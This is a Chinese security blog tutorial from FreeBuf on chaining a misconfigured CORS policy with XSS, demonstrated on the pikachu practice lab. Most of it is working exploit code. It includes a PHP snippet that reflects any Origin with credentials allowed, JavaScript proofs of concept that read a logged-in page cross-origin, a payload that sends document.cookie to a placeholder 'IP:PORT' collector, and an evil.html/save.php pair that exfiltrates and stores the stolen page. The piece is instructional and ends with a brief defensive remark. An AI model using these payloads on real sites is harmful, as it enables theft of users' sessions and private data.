freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CORS结合XSS利用
2023-02-21 17:42:41
所属地 四川省

引言

这两个漏洞想必大家都有过了解,但是对于结合使用方面或许有些不清楚的点,我总结归纳了利用方法和原理。

关于这两个漏洞的结合使用,首先需要搭建环境。
这里以pikachu靶场为例子,这里以http://www.test.com/pikachu/vul/infoleak/abc.php登陆后的页面假设为敏感页面
image

对页面进行配置,添加CORS跨域的配置,这里配置从request中获取Origin为可信任的域

if (isset($_SERVER['HTTP_ORIGIN'])) {

header("Access-Control-Allow-Origin: {$_SERVER['HTTP_ORIGIN']}");
//header("Access-Control-Allow-Origin: www.test.com");
header('Access-Control-Allow-Credentials: true');

header('Access-Control-Max-Age: 86400'); // cache for 1 day

}

image
完成存在CORS漏洞的配置,测试存在CORS漏洞
image
这里都看不懂的可以去看看这个

CORS 利用POC

一个能用的CORS POC
cors.html

<!DOCTYPE html> 
<html>
 <head><title>CORS</title></head> 
 <body onload="cors();"> 
 <center> cors proof-of-concept:<br>







 <br>







 <textarea rows="10" cols="60" id="pwnz"></textarea>
 <br>






 


 <script> 
 function cors() {
	var xhttp = new XMLHttpRequest();
	xhttp.onreadystatechange = function() {
	if (this.readyState == 4 && this.status == 200) {
		document.getElementById("pwnz").innerHTML = this.responseText; 
		alert(document.location);
		}
	};
	xhttp.open("GET","http://www.test.com/pikachu/vul/infoleak/abc.php","true"); 
	xhttp.withCredentials = true;
	xhttp.send(); } 
</script>

测试一下,可以成功获取html页面信息
image
搭建在服务器上看看,同样能够成功。(这里就没贴图了)

CORS结合XSS

ok这里利用XSS来把payload部分替换,实际利用中是存储型的,原理上dom也可以,这里展示dom型的

<script>function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
    if (this.status == 200) {
    alert(this.responseText);
    document.body.innerHTML = this.responseText;
    }
};
xhttp.open("GET", "http://www.test.com/pikachu/vul/infoleak/abc.php", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors(); </script>

URL编码后访问
image
CORS利用进阶

上面的操作都是直接在本地的,是为了熟悉原理。
实战中结合利用应该是用服务器搭建一个恶意页面E,用XSS触发去访问这个页面E,再通过这个恶意页面E去访问敏感信息页面C,把敏感信息发送的到服务器,完成攻击。其中也能获取cookie,但有时候能否成功还受到浏览器同源策略的影响。

这里补充一个Tips:

在谷歌浏览器中我曾看看有一个Secure属性,目前默认都是开启的
image.png
在setSecure(true); 的情况下,只有https才传递到服务器端。http是不会传递的。所以有时候cookie不传递和浏览器也有很大关系。
具体要视情况来分析。

接着说
这里实现了把敏感数据发送到服务器上,HTML的代码不懂的可以去看看:
参考Ajax用法
corspro.html

<!DOCTYPE html>
<html>
<body>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  var xx = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);

   //this.responseText 太长导致访问不了,不能简单的通过url访问来记录
    //  location="http://IP:PORT/cors/?response="+this.responseText;
	location="http://IP:PORT/cors/?response="+document.cookie;
	  xx.open("GET",location,true);
	  xx.send();
	

    }
  };

  xhttp.open("GET", "http://www.test.com/pikachu/vul/infoleak/abc.php", true);
  xhttp.withCredentials = true;
  xhttp.send();

}
</script>
</body>
</html>

这个方法有个问题就是获取信息过长,就会读取不到,这是一个坑点。
image
改成短一些的信息,比如cookie,就成功读取到了
image
优化方案

想要获取更多的数据,怎么办?
换一种方法,把读取到的html给直接写入到文件中保存
evil.html

<!DOCTYPE>
<html>
<h1>Hello I evil page. </h1>
<script type="text/javascript">
function loadXMLDoc()
{
   var xhr1;
   var xhr2;
   if(window.XMLHttpRequest)
   {
       xhr1 = new XMLHttpRequest();
       xhr2 = new XMLHttpRequest();
   }
   else
   {
       xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
       xhr2= new ActiveXObject("Microsoft.XMLHTTP");
   }
   xhr1.onreadystatechange=function()
   {
       if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
       {
           var datas=xhr1.responseText;
//保存的php代码文件位置
           xhr2.open("POST","http://www.test.com/save.php","true");
           xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
           xhr2.send("msf="+escape(datas));
       }
   }
//敏感页面访问
   xhr1.open("GET","http://www.test.com/pikachu/vul/infoleak/abc.php","true") //request user page.
   xhr1.withCredentials = true;        //request with cookie
   xhr1.send();
}
loadXMLDoc();
</script>
</html>

save.php

//把通过evil.html获取到的页面数据写入到get_data。html中去
$myfile = fopen("get_data.html", "w") or die("Unable to open file!");
$txt = $_POST['msf'];
fwrite($myfile, $txt);
fclose($myfile);
?>

成功保存文件,不过编码有点问题,这里的汉字都被转换成了unicode编码,需要去转换一下编码

image
CrossSiteContentHijacking

这里用一个叫做CrossSiteContentHijacking的项目来测试,多了一种检测的方法
用服务器搭建好这个项目,然后在www.test.com所在浏览器打开
选择target 和type,然后点Retrieve Contents
image
证明能成功的跨域访问到

image

小结思考

如果修改CORS配置,设置成www.test.com才能访问跨域资源
image

然后就不能访问了,当然前面的cors.html的poc也是同理不能用了
image
必须来自于Origin:www.test.com才可以。
所以不安全CORS配置,还是存在一定的安全隐患。

# 渗透测试 # 网络安全 # web安全
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者